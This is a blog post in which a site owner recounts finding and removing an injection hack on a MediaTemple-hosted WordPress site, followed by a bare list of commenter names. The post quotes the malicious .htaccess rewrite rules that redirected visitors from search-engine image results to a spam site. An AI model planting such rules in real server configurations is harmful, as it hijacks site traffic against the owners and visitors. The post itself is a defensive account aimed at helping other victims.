MediaTemple/WordPress Hack
I spent last night trying to figure out how my websites got hacked. Luckily no permanent damage was done, but it did take some time to figure out what was going on. I wanted to post my experience in case someone else comes across this same problem. Here is what happened…
By pure coincidence I happened to be looking at my robots.txt file last night. Actually, I didn’t even have a robots.txt file on my site. I was playing with Google’s Webmaster Tools and noticed that Google was giving errors when it read my robots.txt (which didn’t exist). I went to the address where there shouldn’t have been a file at all (http://fontburner.com/robots.txt) and saw a page of text filled with links to porn/spam sites. This sent me off on a wild goose chase to figure out how my site had been exploited.
The first place I looked was at my .htaccess file. My guess was that they were using the .htaccess file to redirect robots.txt to some other file. In my .htaccess file I noticed this code which I was pretty sure wan’t put there by me:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://allvideo.org.uk/in.cgi?4¶meter=sf [R,L]
The thing that threw me off was that this looks like legitimate code because the first line looks like it might be telling Google not to index the images of your site. Is this the work of a clever hacker adding decoy code before the really nasty stuff?
Deleting this code from my .htaccess file didn’t seem to affect my robots.txt file so I kept looking for a solution.
At this point I opened a ticket with MediaTemple, my web host to see if they had any advice. They responded quickly with a link to a knowledge base article called “Working with a php injected website.” This article confirmed my .htaccess suspicions and also pointed me to a line of code found in php files. Removing the .htaccess code was easy, but how do you find a line of code in the thousands of php files on a WordPress powered site?
MediaTemple also hinted at the possibility of needing to reinstall all WordPress files, something that I really didn’t want to do. I did some searching and came accross a good writeup of the situation on kyle-brady.com called “WordPress, MediaTemple, and an Injection Attack.” If you are a victim of this attack, I encourage you to read this post because it gives instructions about how to fix and identify the problem as well as many comments from other victims.
It turned out that in addition to removing the malicious code from the .htaccess file I also had to remove code from the index.php files in the root of my site. Once that was all cleared out, my robots.txt file issue was corrected. It looks like other people encountered deeper problems that affected the links in blog posts. Those people had to recreate their recent blog posts manually. Yuck.
This whole ordeal has left me feeling violated and unconfident about both WordPress and MediaTemple. If someone can add code to your .htaccess and your index.php files, that is a major hack. I feel lucky that they didn’t do more harm than they did because it seems like if you can hack those files you could easily take a site down or worse.
I am unsure who is actually to blame for this exploit, if anyone is. I heave read that MediaTemple blames WordPress and WordPress blames MediaTemple. There are reports that Drupal sites have also been exploited, so the problem isn’t limited to WordPress only. WordPress has released an update in the last week, but I don’t see any evidence that this issue was addressed in the latest security fix.
MediaTemple has told me that they changed all affected sites passwords for FTP. They also said that they scanned their servers and removed the malicious code. This is a confusing statement because neither of these things appears to have been done in my case. My FTP password still worked, and unless I removed the code before they did, they didn’t remove it from my site.
The good news is that the issue is (hopefully) behind me. If you are hosted on MediaTemple, I would advise you to take a look at your robots.txt (even if you don’t have one) because if I hadn’t noticed it I never would have known my site was infected. You may be a victim of the hack and not even know it.
-
Robert Dundon
-
http://www.hotmail.com Bart
-
http://jeffreybarke.net/ Jeffrey Barke
-
admin
-
http://www.scuba-adventures.com Laz
-
admin
-
Tim
-
Patrick
-
Greg Griffith
-
Brian Herbert
-
http://blog.tinyenormous.com inyenormous.com
-
Matt
-
fwitz
-
http://lkdl.com Alex
-
http://www.studioal.com Kerri
-
http://discoverybuzz.com/ Michael VanDeMar
-
http://Mediatemple.net Matt Jones
-
http://tatianes.com Tatiane
-
http://www.littlegettysburgmusic.com John
-
http://www.matuvu.nu ine
-
http://www.thinkers.it Antonio
-
http://www.alibabavize.com moldova vizezi















